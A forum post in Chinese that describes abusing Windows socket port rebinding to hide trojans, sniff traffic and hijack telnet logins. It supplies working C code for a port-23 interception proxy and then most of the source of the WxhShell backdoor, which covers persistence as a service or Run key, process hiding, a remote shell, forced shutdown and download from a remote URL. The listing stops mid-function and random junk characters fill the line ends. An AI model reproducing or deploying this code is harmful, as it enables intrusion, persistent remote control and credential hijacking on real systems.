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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0Xo>f"2<f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6Cw+  
Iue}AGxu:{  
  saddr.sin_family = AF_INET; nilis-Bk_  
I]Ev6>=;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]Q0m]OaT  
~&HP }Q$#f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^/]w}C#:d  
M^IEu }  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?#s9@R1  
-&q@|h'  
  这意味着什么?意味着可以进行如下的攻击: & pHSX  
qlSI|@CO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =jv3O.zq  
#dA9v7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !]f80z  
7[=\bL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =z >d GIT1  
+FomAs1*f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jkAWRpOc)  
]#k=VKdV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TrCut 2  
1Hl-|n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T*o!#E.  
=&T%Jm}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d?:KEi-<7  
M>qqe!c*  
  #include yz}ik^T  
  #include OSoIH`t A  
  #include LV2#w_^I  
  #include    >0F)^W?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ncGt-l<9  
  int main() #`]`gNB0Yg  
  { ej91)3AO  
  WORD wVersionRequested; j]HzI{7y  
  DWORD ret; :2t0//@X  
  WSADATA wsaData; K g6hySb  
  BOOL val; GFGW'}w-  
  SOCKADDR_IN saddr; izDfpr}s4  
  SOCKADDR_IN scaddr; m^!Kthq  
  int err; 0<i8 ;2KD  
  SOCKET s; i?wEd!=w  
  SOCKET sc; T.(C`/VM  
  int caddsize; A_e&#O  
  HANDLE mt; /a,"b8  
  DWORD tid;   2# 72B  
  wVersionRequested = MAKEWORD( 2, 2 ); Bnp\G h  
  err = WSAStartup( wVersionRequested, &wsaData ); UuS6y9@v  
  if ( err != 0 ) { Qm_IU!b  
  printf("error!WSAStartup failed!\n"); WOg pDs  
  return -1; 2dsXG$-W2  
  } =jEVHIYt  
  saddr.sin_family = AF_INET; ^[x6p}$  
   KvjsibI/Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S>Z07d6&  
 g^l~AR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E3hXs6P  
  saddr.sin_port = htons(23); ~P7zg!p/q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [][ze2+b  
  { aT4I sPA?_  
  printf("error!socket failed!\n"); 9dVHh?E  
  return -1; n\ 'PNB  
  } bL`># M_^  
  val = TRUE; %W}YtDf\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hbdB67,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Mfn^v:Q#  
  { T)MX]T  
  printf("error!setsockopt failed!\n"); {S@gjMuN  
  return -1; s"UUo|hM  
  } ++sbSl)Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BT)PD9CN(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WA6reZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P5KpFL`B  
3xk- D &"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ).)^\  
  { tKeozV[V  
  ret=GetLastError(); V lkJ$f5l  
  printf("error!bind failed!\n"); R5mb4  
  return -1; z:N?T0b(  
  } aO}p"-'  
  listen(s,2); mI\[L2x  
  while(1) >l=jJTJ;q  
  { h#Mx(q  
  caddsize = sizeof(scaddr); Hq~SRc~  
  //接受连接请求 ?r*}1WsH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ' R2*3<  
  if(sc!=INVALID_SOCKET) =(~*8hJ  
  { a^^OI|?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {u0sbb(  
  if(mt==NULL) @\:@_}Z`_}  
  { PN= 5ICT  
  printf("Thread Creat Failed!\n"); c,]fw2  
  break; s0CDp"uJY  
  } Z%b1B<u$  
  } ]ncK M?'O  
  CloseHandle(mt); U6o]7j&6  
  } 1vAJ(O{-  
  closesocket(s); + rM]RFi  
  WSACleanup(); +6~zMKp  
  return 0; }A[5\V^D*  
  }   K{9Vyt9,$  
  DWORD WINAPI ClientThread(LPVOID lpParam) >L8 & 6aU  
  { N/b$S@  
  SOCKET ss = (SOCKET)lpParam; C!nbl+75  
  SOCKET sc; k nzo6  
  unsigned char buf[4096]; tkff\W[JU  
  SOCKADDR_IN saddr; &h.?~Ri  
  long num; dj4a)p|YN  
  DWORD val; @HE?G  
  DWORD ret; BlM(Q/z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U ]B-B+-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   arS@l<79  
  saddr.sin_family = AF_INET; 5E 9R+N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Bk@EQdn  
  saddr.sin_port = htons(23); :c Er{U8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?%lfbZ  
  { Qs?p)3qp  
  printf("error!socket failed!\n"); p AaNWm  
  return -1; UZ6y3%G3^  
  } ~Y;Z5e=  
  val = 100; _;/+8=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (]VY==t~  
  { 7VdxQ T  
  ret = GetLastError(); ^rO!-  
  return -1; 0-uVmlk=/  
  } '|*e4n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C[l5[DpH  
  { J l{My^I5  
  ret = GetLastError(); e2>AL  
  return -1; >5TXLOYZ  
  } ><. *5q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )nq(XM7  
  { :22wq{  
  printf("error!socket connect failed!\n"); %h;1}SFl0  
  closesocket(sc); TTWiwPo59  
  closesocket(ss); |+JC'b?,  
  return -1; ccx0aC3@I  
  } }AiF 7N0  
  while(1) 'geN  dx  
  { / %F,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c+O:n:L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <xrya _R?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s;[=B  
  num = recv(ss,buf,4096,0); X`-o0HG  
  if(num>0) L)S V?FBx  
  send(sc,buf,num,0); -6X+:r`>u  
  else if(num==0) zz<o4b R  
  break; T-x9IoE  
  num = recv(sc,buf,4096,0); l1 _"9a%H  
  if(num>0) ux 17q>G  
  send(ss,buf,num,0); ?(}~[  
  else if(num==0) h&!$ `)   
  break; ^&c &5S}  
  } ~fzuz'"^  
  closesocket(ss); TN08 ,:k  
  closesocket(sc); pX$ X8z%  
  return 0 ; F}@]Lq+  
  } )jjaY1E  
H;DjM;be  
^X"x,8}&V  
========================================================== A!uiM*"W  
Jp_ :.4  
下边附上一个代码,,WXhSHELL r Cz,XYV  
jfam/LL{V  
========================================================== Adfnd  
r;>.*60AT  
#include "stdafx.h" 10GU2a$0"$  
m%.[|sZ3EM  
#include <stdio.h> gO@LJ  
#include <string.h> uu>R)iTQ%S  
#include <windows.h> Zw<<p|{)<  
#include <winsock2.h> dl`{:ZR S  
#include <winsvc.h> 9A|9:OdG1  
#include <urlmon.h> )t:8;;W@Ir  
2r]o>X  
#pragma comment (lib, "Ws2_32.lib") Ysw&J}6e  
#pragma comment (lib, "urlmon.lib") ~at:\h4:  
T&:~=  
#define MAX_USER   100 // 最大客户端连接数 Um*&S.y  
#define BUF_SOCK   200 // sock buffer VCIV*5 P  
#define KEY_BUFF   255 // 输入 buffer NQcg}y  
C0>L<*C  
#define REBOOT     0   // 重启 |eJR3o  
#define SHUTDOWN   1   // 关机 X+N8r^&  
Im]6-#(9\|  
#define DEF_PORT   5000 // 监听端口 @~&^1%37)  
gkca{BJ   
#define REG_LEN     16   // 注册表键长度 qagR?)N)u  
#define SVC_LEN     80   // NT服务名长度 ]mC5Z6,1s  
WZP1g kX&M  
// 从dll定义API b?, =|H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QNxxW2+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K(P.i^k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w02C1oGfx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^oClf(  
_~}2@&*G"  
// wxhshell配置信息 H7meI9L  
struct WSCFG { _NpxV'E  
  int ws_port;         // 监听端口 U8,pe;/ln`  
  char ws_passstr[REG_LEN]; // 口令 e+<9Sh7&  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5ci1ce  
  char ws_regname[REG_LEN]; // 注册表键名 T {=&>pNK[  
  char ws_svcname[REG_LEN]; // 服务名 @%fL*^yr;C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6* 0vUy*"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lvLz){  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p9S>H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [| N73m,&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !\^W*nQ>l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dx$+,R~y  
O]j<$GG!  
}; d b *J  
#3A|Z=,5  
// default Wxhshell configuration *D1vla8  
struct WSCFG wscfg={DEF_PORT, 1 (e64w@  
    "xuhuanlingzhe", hf7[<I,jov  
    1, +%K~HYN  
    "Wxhshell", o*oFCR]j  
    "Wxhshell", .kgt? r  
            "WxhShell Service", 9w=[}<E  
    "Wrsky Windows CmdShell Service", k]2_vk^  
    "Please Input Your Password: ", MN:LL <  
  1, E Q:6R|L  
  "http://www.wrsky.com/wxhshell.exe", fX>y^s?y  
  "Wxhshell.exe" ToD_9i }6  
    }; D.ySnYzh  
_N0N #L4M  
// 消息定义模块 Yvu?M8aK!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2@I0p\a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #u +~ ^M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /Ba/gq0j  
char *msg_ws_ext="\n\rExit."; #]Jg>  
char *msg_ws_end="\n\rQuit."; . lNf.x#u  
char *msg_ws_boot="\n\rReboot..."; Ynp#3 r  
char *msg_ws_poff="\n\rShutdown..."; Q\btl/?  
char *msg_ws_down="\n\rSave to "; >5D;uTy u  
Hxleh><c-  
char *msg_ws_err="\n\rErr!"; x@[6u  
char *msg_ws_ok="\n\rOK!"; =hY/Yr%P  
vUDMl Z  
char ExeFile[MAX_PATH]; =1<v1s|)q  
int nUser = 0; < Pi#-r.,  
HANDLE handles[MAX_USER]; SDVnyT  
int OsIsNt; a>Zp?*9  
:H+8E5  
SERVICE_STATUS       serviceStatus; ,,BWWFg~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g}L>k}I?!W  
l kyK  
// 函数声明 Eh$1p iJG  
int Install(void); p+d O w #  
int Uninstall(void); 81w"*G5AM  
int DownloadFile(char *sURL, SOCKET wsh); aM(x--UR=  
int Boot(int flag); +d(|Jid  
void HideProc(void); RaP,dR+P  
int GetOsVer(void); ;|:R*(2   
int Wxhshell(SOCKET wsl); ?nq%'<^^  
void TalkWithClient(void *cs); c5: X$k\  
int CmdShell(SOCKET sock); qdxaP% p2  
int StartFromService(void); V)vik  
int StartWxhshell(LPSTR lpCmdLine); 1I)oT-~  
8)ng> l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |.L_c"Bc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C7DwA/$D  
tBX71d T  
// 数据结构和表定义 s[t<2)i  
SERVICE_TABLE_ENTRY DispatchTable[] = 0N$FIw2  
{ h_SkX@"/-  
{wscfg.ws_svcname, NTServiceMain}, ,]]*}4[r  
{NULL, NULL} \-f/\P/ w  
}; oYt 34@{?  
<Y2$'ETD  
// 自我安装 u8M_2r  
int Install(void) n9n)eI)R  
{ OHrzN ']  
  char svExeFile[MAX_PATH]; jL'`M%8O  
  HKEY key; P,F eF'J^  
  strcpy(svExeFile,ExeFile); O;|Cu7WU  
"?<h,Hvi  
// 如果是win9x系统,修改注册表设为自启动 P{yb%@I~J  
if(!OsIsNt) { _l"nwEs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >k/cm3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n?;rWq"  
  RegCloseKey(key); ;_2+Y^Qb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K1Uq` TJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I~&9c/&  
  RegCloseKey(key); Iy&,1CI"]  
  return 0; RS l*u[fB  
    } -a&<Un/  
  } Jazgn5  
} rNTLP m  
else { 4^M"V5tDx  
\"Y,1in#  
// 如果是NT以上系统,安装为系统服务 p:z~>ca  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "H<us?r{  
if (schSCManager!=0) 7(N+'8  
{ RtzSe$O  
  SC_HANDLE schService = CreateService f'H|K+bO  
  ( l{>j8Ln  
  schSCManager, }v4dOGc?  
  wscfg.ws_svcname, "=T &SY  
  wscfg.ws_svcdisp, "Y=`w,~~  
  SERVICE_ALL_ACCESS, c38XM]Jeq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , stBe ^C  
  SERVICE_AUTO_START, VqpC@C$  
  SERVICE_ERROR_NORMAL, kFV, Fg  
  svExeFile, y& 1@d+Lf  
  NULL, |E.BGdS  
  NULL, Jk6}hUH,  
  NULL, [!-gb+L  
  NULL, L/V^#$  
  NULL 9;?u%  
  ); KP>9hEh  
  if (schService!=0) =@?[.`  
  { .8Bo5)q$a-  
  CloseServiceHandle(schService); ,1$F #Eh  
  CloseServiceHandle(schSCManager); q*3keB;X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %.<_+V#h  
  strcat(svExeFile,wscfg.ws_svcname); gtZmBe=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h%Nd89//  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J5I@*f)l  
  RegCloseKey(key); .'gm2  
  return 0; )J}v.8   
    } %gh#gH   
  } /uj^w&l#  
  CloseServiceHandle(schSCManager); oDz|%N2s|  
} K+F"VW*?  
} 2 HEU  
yXJ25Axb  
return 1; Aj4 a-vd.  
} h @!p:]  
7GYf#} N  
// 自我卸载 uK2HtRY1  
int Uninstall(void) +*]$PVAFA  
{ |'nQvn:{  
  HKEY key; Og/aTR<;=  
bOFzq>k_  
if(!OsIsNt) { 6*q1%rs:w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i}sAF/  
  RegDeleteValue(key,wscfg.ws_regname); 25$_tZP AI  
  RegCloseKey(key); .ybmJU*Hg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { usB*Wn8  
  RegDeleteValue(key,wscfg.ws_regname); IR6W'vA  
  RegCloseKey(key); ]P0%S@]  
  return 0; J rx^  
  } E EDFyZ  
} N3n]  
}  AG@gOm  
else { i6'=]f'{  
nF<K84  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ES~b f  
if (schSCManager!=0) q!y.cyL  
{ $r/$aq=K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g"m' C6;  
  if (schService!=0) _;j1g%  
  { u7L?9  
  if(DeleteService(schService)!=0) { HAxLYun(3w  
  CloseServiceHandle(schService); k$3pmy*  
  CloseServiceHandle(schSCManager); .9nqJ7]  
  return 0; 2/&=:,"t,B  
  } >G6kF!V  
  CloseServiceHandle(schService); d`^3fr'.4A  
  } 7g\v (P  
  CloseServiceHandle(schSCManager); nR{<xD^  
} .G{cx=;  
} *7xcwj eP  
5whW>T  
return 1; 4YfM.~ 6  
} %R0 Wq4}  
Hd~g\  
// 从指定url下载文件 _J1\c~ke"  
int DownloadFile(char *sURL, SOCKET wsh) hIe.Mv-I)  
{ yYP_TuNa  
  HRESULT hr; 46>rvy.r  
char seps[]= "/"; |a{; <a  
char *token; wL0[Slf}  
char *file; <?.eU<+O`S  
char myURL[MAX_PATH]; MQoA\  
char myFILE[MAX_PATH]; *yhA8fJ  
{=GmXd%D  
strcpy(myURL,sURL); cq I $9  
  token=strtok(myURL,seps); EO!,rB7I  
  while(token!=NULL) /e2zH  
  { *K/K97  
    file=token; 6>]_H(z7  
  token=strtok(NULL,seps); Y#F.{ i  
  } XDPR$u8hM  
;J W ]b]  
GetCurrentDirectory(MAX_PATH,myFILE); /8l-@P. o  
strcat(myFILE, "\\"); spa :5]B  
strcat(myFILE, file); kLgkUck8]  
  send(wsh,myFILE,strlen(myFILE),0); _&-d0'+  
send(wsh,"...",3,0); :!aLa}`@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZXnacc~s  
  if(hr==S_OK) YS|Dw'%g /  
return 0; ,WyEwc]  
else :E")Zw&sW3  
return 1; :rb;*nY!  
PysDDU}v  
} !ZTghX}D  
HyzSHI  
// 系统电源模块 9`f@"%h  
int Boot(int flag) /9_%NR[  
{ c6:uM1V{  
  HANDLE hToken; fG0ZVV!   
  TOKEN_PRIVILEGES tkp; }c8nn  
$z$^ yjL  
  if(OsIsNt) { ?}Zo~]7E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T~3{$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9QU\J0c/  
    tkp.PrivilegeCount = 1; %IO*(5f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F(VVb(\jd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `4K|L6  
if(flag==REBOOT) { Wc@ ,#v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?s2-iuMPd  
  return 0; v]SxZLa  
} $`lWW6>P  
else { utmJ>GWSI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  dfFw6R  
  return 0; Rw'}>?k]  
} xb\EJ1M>  
  } D&FDPaJM  
  else { ,&BNN]k  
if(flag==REBOOT) { s)WA9PiC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uB)q1QQsqp  
  return 0; ]njNSn  
} %Yu~56c-  
else { ec ;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eWFkUjz  
  return 0; v*V( hMy  
} g>t1rZ  
} "s|P,*Xf  
ZiZ@3O6  
return 1; B.y}S  
} 'xta/@Sq  
gnH {_  
// win9x进程隐藏模块 e%e.|+  
void HideProc(void) 9]v,3'QI  
{ bD{tsxm[9  
g7! LX[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R3G\Gchd  
  if ( hKernel != NULL ) z%E(o%l8  
  { ^'=[+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X| \`\[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (m'-1wX.  
    FreeLibrary(hKernel);  _".h(  
  } BI%^7\HZ  
Tz)Ku  
return; ?wHhBh-Q  
} HN7tIz@Frc  
x1Gx9z9  
// 获取操作系统版本 jOT/|k  
int GetOsVer(void) $9?:P}$v  
{ )jXKPLj  
  OSVERSIONINFO winfo; /wEl\Kx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '!A}.wF0  
  GetVersionEx(&winfo); ;SE*En  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2V]a+Cgk  
  return 1; |@_<^cV110  
  else Yeg<MrS4D  
  return 0; S"*k#ao  
} [z"E"_r~%Y  
FaCW +9B  
// 客户端句柄模块 ftpPrtaP  
int Wxhshell(SOCKET wsl) qR aPh:Q'  
{ '4M{Xn}@  
  SOCKET wsh; q6pHL  
  struct sockaddr_in client; Z-lhJ<0/Pa  
  DWORD myID; x%s1)\^A  
{X<g93  
  while(nUser<MAX_USER) +@]k[9  
{ :rM2G@{  
  int nSize=sizeof(client); 8?8V;   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &Z>??|f  
  if(wsh==INVALID_SOCKET) return 1; JkN*hm?  
)PvnB=wy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J-/w{T8:  
if(handles[nUser]==0) W0MgY%Qv[  
  closesocket(wsh); /:]<z6R  
else EC5 = 2w<  
  nUser++; p@O Ip  
  } q]yw",muT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pk;/4jt4  
QGI@5  
  return 0; UF^[?M =  
} JmDxsb^  
KDb j C'3  
// 关闭 socket 0^tY|(b3/M  
void CloseIt(SOCKET wsh) ;6 W[%{  
{ Rd7U5MBEF  
closesocket(wsh); [K,P)V>K  
nUser--; "f 89   
ExitThread(0); Eoixw8hz  
} UUDHknm"  
. s>@@m-  
// 客户端请求句柄 1OExa<Zq  
void TalkWithClient(void *cs) ;^bfLSWm{  
{ @gb W:  
)V~=B]  
  SOCKET wsh=(SOCKET)cs; ;<m*ASM.3  
  char pwd[SVC_LEN]; ~C^:SND7  
  char cmd[KEY_BUFF]; P<Bx1H-z-  
char chr[1]; @@^iN~uf  
int i,j; RtR@wZ2\s  
^%zhj3#  
  while (nUser < MAX_USER) { q++\< \2  
`1P|<VbZ  
if(wscfg.ws_passstr) { mST8+R@S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sM MtU@<x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B(1-u!pz  
  //ZeroMemory(pwd,KEY_BUFF); deaB_cjdI  
      i=0; J;Z2<x/H  
  while(i<SVC_LEN) { G3:!]}  
g/f6N z  
  // 设置超时 TaD;_)(  
  fd_set FdRead; 1xEOYM)  
  struct timeval TimeOut; NW5OLa")J<  
  FD_ZERO(&FdRead); yIn$ApSGY  
  FD_SET(wsh,&FdRead); d2Q*1Q@u  
  TimeOut.tv_sec=8; uarfH]T{  
  TimeOut.tv_usec=0; AvrvBz[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u$^tRz9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _rB,N#{2R=  
F4G81^H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `WXlq#:K  
  pwd=chr[0]; 3%?tUt  
  if(chr[0]==0xd || chr[0]==0xa) { `K5*Fjx  
  pwd=0; 2rT^OGw6  
  break; =[]6NjKS,  
  } bD,X.  
  i++; gep#o$P  
    } ]Ac}+?  
~5&4s  
  // 如果是非法用户,关闭 socket  "&k(lQ4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dj96t5R  
} <$e|'}>A  
exhU!p8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )L:e0u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T#-;>@a}  
h*l$!nEN  
while(1) { 1V1I[CxlX  
ErNYiYLi]  
  ZeroMemory(cmd,KEY_BUFF); K2 M=)B  
WuU wd#e  
      // 自动支持客户端 telnet标准   ??p%_{QY~b  
  j=0; 0i_:J  
  while(j<KEY_BUFF) { [o#% Eg;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o0C&ol_  
  cmd[j]=chr[0]; l{Df{1b.  
  if(chr[0]==0xa || chr[0]==0xd) { 'M>m$cCMZ  
  cmd[j]=0; VGQ~~U7}@  
  break; ;Z{D@g+  
  } uem-fTG  
  j++; V,_m>$Mo  
    } GVXdyi  
lNL=Yu2p_  
  // 下载文件 [oTe8^@[  
  if(strstr(cmd,"http://")) { Os"('@jd>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %)r ~GCd  
  if(DownloadFile(cmd,wsh)) _h!.gZB3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #; ?3k uq(  
  else ;yJ:W8U]+;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); en< $.aY  
  } k|)fl l  
  else { "O jAhKfG  
>-A@6Qe_  
    switch(cmd[0]) { (P)G|2=  
  q ;'f3Y  
  // 帮助 W r/-{Wt  
  case '?': { yU v YV-7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q6Gw!!Z5EA  
    break; 1Nt &+o  
  } J3_aHI  
  // 安装 Xi&J%N'  
  case 'i': { +x"uP  
    if(Install()) $"kPzo~B_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%Y:+%VE  
    else D`LBv,n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hN-@_XSw<I  
    break; <>3)S`C`p  
    } T`EV uRJ  
  // 卸载 Urr%SIakvM  
  case 'r': { 7N9NeSH  
    if(Uninstall()) P3_.U8g$r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,S-h~x  
    else 9-ozrw8t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'h*jL@%TT  
    break; 9|+6@6VY!  
    } ote,`h  
  // 显示 wxhshell 所在路径 eTuqK23  
  case 'p': { /v R>.'  
    char svExeFile[MAX_PATH]; l[}4 X/  
    strcpy(svExeFile,"\n\r"); 1-_r\sb  
      strcat(svExeFile,ExeFile); ;m(iKwDt  
        send(wsh,svExeFile,strlen(svExeFile),0); ix3LB!k<  
    break; Y9+_MxC"  
    } rJ!cma  
  // 重启 1 R5 pf  
  case 'b': { &|hK79D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H9cPtP~a)  
    if(Boot(REBOOT)) (eN7s_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|;\  
    else { DP ? d C`  
    closesocket(wsh); /DYyl/  
    ExitThread(0); U.7fMc#  
    } C 0w+ j  
    break; {K,In)4  
    } 2{OR#v~  
  // 关机 4<efj  
  case 'd': { a{5SOe;;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]{>AU^=U  
    if(Boot(SHUTDOWN)) ~3&{`9Y  
